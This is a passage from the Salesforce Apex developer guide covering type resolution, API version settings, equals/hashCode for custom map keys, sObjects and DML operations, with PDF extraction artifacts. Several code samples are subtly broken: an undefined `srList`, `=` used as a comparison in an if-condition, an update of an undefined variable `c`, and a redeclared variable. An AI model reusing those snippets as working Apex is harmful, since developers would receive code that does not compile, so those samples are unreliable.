4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer
to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly
navigating foreign keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is,
sObject fields cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}

Then the following expressions are all legal:
c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()

Type Resolution and System Namespace for Types
Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as
follows:
1.
2.
3.
4.

For a type reference TypeN, the parser first looks up that type as a scalar type.
If TypeN is not found, the parser looks up locally defined types.
If TypeN still is not found, the parser looks up a class of that name.
If TypeN still is not found, the parser looks up system types such as sObjects.

For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the
namespace T1 (in that order of precedence).

Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce.com API
version. If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version
93
Classes, Objects, and Interfaces

Setting the Salesforce API Version for Classes and Triggers

settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components
in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known
behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed
package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package,
if you installed a version of the package before the code was deprecated.
Typically, you reference the latest Salesforce.com API version and each installed package version. If you save an Apex class or
trigger without specifying the Salesforce.com API version, the class or trigger is associated with the latest installed version by
default. If you save an Apex class or trigger that references a managed package without specifying a version of the managed
package, the class or trigger is associated with the latest installed version of the managed package by default.

Setting the Salesforce API Version for Classes and Triggers
To set the Salesforce.com API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields
exposed due to the Salesforce.com API version setting, the fields in the objects are controlled by the version settings of C2.
Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from
a method in the test class C1, because the Categories field is not available in version 13.0 of the API.
The first class is saved using Salesforce.com API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert
// retrieve the new idea
Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
return insertedIdea;
}
}

The following class is saved using Salesforce.com API version 16.0:
@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];

94
Classes, Objects, and Interfaces

Setting Package Versions for Apex Classes and Triggers

// assert that the categories field from the object created
// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}

Setting Package Versions for Apex Classes and Triggers
To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will
continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update
the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the class
or trigger.
3. Click Save.
Note the following when working with package version settings:
•
•

If you save an Apex class or trigger that references a managed package without specifying a version of the managed package,
the Apex class or trigger is associated with the latest installed version of the managed package by default.
You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or
trigger. Use Show Dependencies to find where a managed package is referenced by a class or trigger.

Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface.
The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable
interface. For more information on implementing the Comparable interface for your own classes, see the Comparable
Interface.

Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values, but if you add them as keys, there are some
special rules that your class must implement for the map to function correctly, that is, for the key to fetch the right value.
Similarly, if set elements are instances of your custom class, your class must follow those same rules.
Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found
anymore because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in
your class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.

Adding equals and hashCode Methods to Your Class
To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently,
provide an implementation of the following two methods in your class:
95
Classes, Objects, and Interfaces

•

Using Custom Types in Map Keys and Sets

The equals method with this signature:
public Boolean equals(Object obj) {
// Your implementation
}

Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your
class, the equals method must be:
◊
◊
◊
◊
◊

Reflexive: x.equals(x)
Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true
Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true
Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false
For any non-null reference value x, x.equals(null) should return false

The equals method in Apex is based on the equals method in Java.
•

The hashCode method with this signature:
public Integer hashCode() {
// Your implementation
}

Keep in mind the following when implementing the hashCode method.
◊ If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must
return the same value.
◊ If two objects are equal, based on the equals method, hashCode must return the same value.
◊ If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct
values.
The hashCode method in Apex is based on the hashCode method in Java.
Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able
to use the == operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass
if (obj1 == obj2) {
// Do something
}
if (obj1.equals(obj2)) {
// Do something
}

Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed
first. It also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of
the class, two of which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies
that the map has only two entries since the entry that was added last has the same key as the first entry, and hence, overwrote
it. The sample then uses the == operator, which works as expected because the class implements equals. Also, some additional
map operations are performed, like checking whether the map contains certain keys, and writing all keys and values to the
debug log. Finally, the sample creates a set and adds the same objects to it. It verifies that the set size is two, since only two
objects out of the three are unique.
public class PairNumbers {
Integer x,y;
public PairNumbers(Integer a, Integer b) {

96
Classes, Objects, and Interfaces

Using Custom Types in Map Keys and Sets

x=a;
y=b;
}
public Boolean equals(Object obj) {
if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}
public Integer hashCode() {
return (31 * x) ^ y;
}
}

This code snippet makes use of the PairNumbers class.
Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');
// Map size is 2 because the entry with
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());
// Use the == operator
if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}
// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
List<String> mValues = m.values();
System.debug('m.values: ' + mValues);
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);
// Verify that we have only two elements
// since the p3 is equal to p1.
System.assertEquals(2, s1.size());

97
Chapter 7
Working with Data in Apex
In this chapter ...
•
•
•
•
•
•
•
•
•

sObject Types
Adding and Retrieving Data
DML
SOQL and SOSL Queries
SOQL For Loops
sObject Collections
Dynamic Apex
Apex Security and Sharing
Custom Settings

This chapter describes how you can add and interact with data in the Force.com
platform persistence layer. In this chapter, you’ll learn about the main data type
that holds data objects—the sObject data type. You’ll also learn about the
language used to manipulate data—Data Manipulation Language (DML), and
query languages used to retrieve data, such as the (), among other things. This
chapter also explains the use of custom settings in Apex.

98
Working with Data in Apex

sObject Types

sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An
sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object. For
example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();

Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data
type can be used in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();

You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;

Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();

Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject.
For example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

For information on accessing existing sObjects from the Force.com platform database, see “SOQL and SOSL Queries” in
the Force.com SOQL and SOSL Reference.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared
during a clone operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically
when an object record is initially inserted to the database for the first time. For more information see Lists on page
30.

Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value
of a custom label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;

99
Working with Data in Apex

Accessing sObject Fields

For more information on custom labels, see “Custom Labels Overview” in the Salesforce online help.

Accessing sObject Fields
As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account();
a.Name = 'Acme';
// Access the account name field and assign it 'Acme'

System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user
cannot be changed.
If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot
notation. You can set the Id field for Apex code saved using Salesforce.com API version 27.0 and later). Alternatively, you
can use the generic sObject put and get methods. See sObject Class.
This example shows how you can access the Id field and operations that aren’t allowed on generic sObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;

Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts
and person accounts. If your code creates a new account using name, a business account is created. If your code uses
LastName, a person account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have
converted the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts;
List<Lead> leads;
List<Account> accounts;
public void convertType(Integer phoneNumber) {
List<List<sObject>> results = [FIND '4155557000'
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)];
sObject[] records = ((List<sObject>)results[0]);
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {

100
Working with Data in Apex

Validating sObjects and Fields

sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
}
}

Validating sObjects and Fields
When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names,
and a parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded
SOQL and SOSL statements. The platform prevents users from making the following types of modifications when those
changes cause Apex code to become invalid:
•
•
•
•

Changing a field or object name
Converting from one data type to another
Deleting a field or object
Making certain organization-wide changes, such as record sharing, field history tracking, or record types

Adding and Retrieving Data
Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the
database is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read
operations—querying records, DML is used for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic
data type and corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped
from the sObject data type, which correspond to data types of standard object records, such as Account or Contact, and custom
objects, such as Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when
you don’t know the type of the sObject in advance, you can work with the generic sObject data type. This is an example of
how you can create a new specific Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');

In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it
is not persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the
database. Here is an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;

Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record
updates, deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records,
you get sObject instances that you can modify and then persist the changes of. This is an example of querying for an existing

101
Working with Data in Apex

DML

record that has been previously persisted, updating a couple of fields on the sObject representation of this record in memory,
and then persisting this change to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';
// Persist the changes.
update a;
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);

DML
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility
in how you perform data operations. DML statements are more straightforward to use and result in exceptions that you can
handle in your code. This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
insert acctList;

This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
Database.SaveResult[] sr = Database.insert(acctList, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors

102
Working with Data in Apex

DML Operations As Atomic Transactions

for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}

One difference between the two options is that by using the Database class method, you can specify whether or not to allow
for partial record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If
you specify false for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead
of exceptions, a result object array (or one result object if only one sObject was passed in) is returned containing the status of
each operation and any errors encountered. By default, this optional parameter is true, which means that if at least one
sObject can’t be processed, all remaining sObjects won’t and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
•

•

Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception
that immediately interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions
are handled in most database procedural languages.
Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder
of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the
operation. When using this form, you can write code that never throws DML exception errors. Instead, your code can use
the appropriate results array to judge success or failure. Note that Database methods also include a syntax that supports
thrown exceptions, similar to DML statements.
Note:
Most operations overlap between the two, except for a few.
•
•
•

The merge operation is only available as a DML statement, not as a Database class method.
The convertLead operation is only available as a Database class method, not as a DML statement.
The Database class also provides methods not available as DML statements, such as methods transaction control
and rollback, emptying the Recycle Bin, and methods related to SOQL queries.

DML Operations As Atomic Transactions
DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error
occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a
transaction can be a trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that
are made from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running
in the transaction boundary. For example, consider the following chain of operations: a custom Apex Web service method
calls a method in a class that performs some DML operations. In this case, all changes are committed to the database only
after all operations in the transaction finish executing and don’t cause any errors. If an error occurs in any of the intermediate
steps, all database changes are rolled back and the transaction isn’t committed.

How DML Works
Single vs. Bulk DML Operations
You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations
is the recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex
103
Working with Data in Apex

DML Operations

transaction. This limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing
a DML operation on a list of sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement
for each sObject.
This is an example of performing DML calls on single sObjects, which is not efficient.
The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field
matches a certain value. If the list contains more than 150 items, the 151st update call returns an exception that can’t be caught
for exceeding the DML statement limit of 150.
for(Contact badCon : conList) {
if (badCon.Department = 'Finance') {
badCon.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update badCon;
}

This is a modified version of the previous example that doesn’t hit the governor limit. It bulkifies DML operations by calling
update on a list of contacts. This counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
for(Contact con : conList) {
if (con.Department = 'Finance') {
con.Description__c = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}
// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;

The other governor limit that affects DML operations is the total number of 10,000 rows that can be processed by DML
operations in a single transaction. All rows processed by all DML calls in the same transaction count incrementally toward
this limit. For example, if you insert 100 contacts and update 50 contacts in the same transaction, your total DML processed
rows are 150 and you still have 9,850 rows left (10,000 - 150).
System Context and Sharing Rules
Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide
defaults, position in the role hierarchy, and sharing rules. The only exception is when a DML operation is called in a class
defined with the with sharing keywords, the current user's sharing rules are taken into account.
Note that if you execute DML operations within an anonymous block, they will execute using the current user’s object and
field-level permissions.

DML Operations
Inserting and Updating Records
Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing
records.
This example shows how to insert three account records and update an existing account record. First, it creates three Account
sObjects and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement.

104
Working with Data in Apex

DML Operations

Next, it queries the second account record, updates the billing city, and calls the update statement to persist the change in
the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
insert accts;
// Update account Acme2.
accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Verify that the billing city was updated to New York.
Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);

Inserting Related Records
You can insert records related to existing records if a relationship has already been defined between the two objects, such as a
lookup or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set
this foreign key ID on the master record. For example, if inserting a new contact, you can specify the contact's related account
record by setting the value of the AccountId field.
This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact.
Contact and Account are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;
//
//
//
ID

Once the account is inserted, the sObject will be
populated with an ID.
Get this ID.
acctID = acct.ID;

// Add a contact to this account.
Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

Updating Related Records
Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For
example, if inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId

105
Working with Data in Apex

DML Operations

field. However, you can't change the account's name without updating the account itself with a separate DML call. Similarly,
when updating a contact, if you also want to update the contact’s related account, you must make two DML calls. The following
example updates a contact and its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
// Update the contact's phone number
queriedContact.Phone = '415.555.1213';
// Update the related account industry
queriedContact.Account.Industry = 'Technology';
// Make two separate calls
// 1. This call is to update the contact's phone.
update c;
// 2. This call is to update the related account's Industry field.
update c.Account;
} catch(Exception e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step
instead of creating the parent record first, querying its ID, and then creating the child record. To do this:
•
•
•
•
•

Create the child sObject and populate its required fields, and optionally other fields.
Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject
has only the external ID field defined and no other fields set.
Set the foreign key field of the child sObject to the parent reference sObject you just created.
Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and
optionally other fields) set in addition to the external ID field.
Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array,
that is, the array index of the parent must be lower than the child’s index.

You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different
sObject types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The
example creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account
is only for the foreign key relationship, and the second is for the account creation and has the account fields set. Both accounts
have the external ID field, MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects.
The first element in the array is the parent sObject and the second is the opportunity sObject. The Database.insert
statement creates the opportunity with its parent account in a single step. Finally, the sample checks the results and writes the
IDs of the created records to the debug log, or the first error if record creation fails. This sample requires an external ID text
field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);
// Create the parent reference.

106
Working with Data in Apex

DML Operations

// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
newOpportunity.Account = accountReference;
// Create the Account object to insert.
// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
MyExtID__c='SAP111111');
// Create the account and the opportunity.
Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug('
The error reported was: '
+ results[i].getErrors()[0].getMessage() + 'n');
}
}
}
}

Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record
already exists, the upsert statement or Database method uses the record’s ID as the key to match records, or the custom
external ID field value, if specified.
•
•
•

If the key is not matched, then a new object record is created.
If the key is matched once, then the existing object record is updated.
If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc"
as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123”
is matched with “abc123.” For more information, see “Creating Custom Fields” in the Salesforce Help.

Examples
The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also
inserts a new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}

107
Working with Data in Apex

DML Operations

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 394.

This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows
for partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated.
It iterates through the results and adds a new task to each record that was processed successfully. The task sObjects are saved
in a list, which is then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
public class DmlSamples {
/* This method accepts a collection of lead records and
creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */
public static List<Database.upsertResult> upsertLeads(List<Lead> leads)

{

/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
List<Database.upsertResult> uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
/* If there are tasks to be inserted, insert them */
Database.insert(tasks);
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();
/* Create a set of leads for testing */
for(Integer i = 0;i < 100; i++) {
leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}
/* Switch to the runtime limit context */
Test.startTest();
/* Exercise the method */
List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);
/* Switch back to the test context for limits */
Test.stopTest();
/* ID set for asserting the tasks were created as expected */
Set<Id> ids = new Set<Id>();
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {

108
Working with Data in Apex

DML Operations

System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}

Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting
governor limits (see Understanding Execution Governors and Limits). This next example uses upsert and an external ID
field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship between an asset and an opportunity line
item.
Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and
mark it as an external ID. For information on custom fields, see the Salesforce online help.

public void upsertExample() {
Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
Asset[] assets = new Asset[]{};
// Create an asset for each line item on the opportunity
for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c;

//
//
//
//

This line upserts the assets list with
the Line_Item_Id__c field specified as the
Asset field that should be used for matching
the record that should be upserted.

} catch (DmlException e) {
System.debug(e.getMessage());
}
}

Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records
might be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three
records into one of the records, deletes the others, and reparents any related records.
Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related
contact, which is moved to the master account record after the merge operation. Also, after merging, the merge record is
deleted and only one record remains in the database. This examples starts by creating a list of two accounts and inserts the

109
Working with Data in Apex

DML Operations

list. Then it executes queries to get the new account records from the database, and adds a contact to the account to be merged.
Next, it merges the two accounts. Finally, it verifies that the contact has been moved to the master account and the second
account has been deleted.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
// Queries to get the inserted accounts
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;
try {
merge masterAcct mergeAcct;
} catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Once the account is merged with the master account,
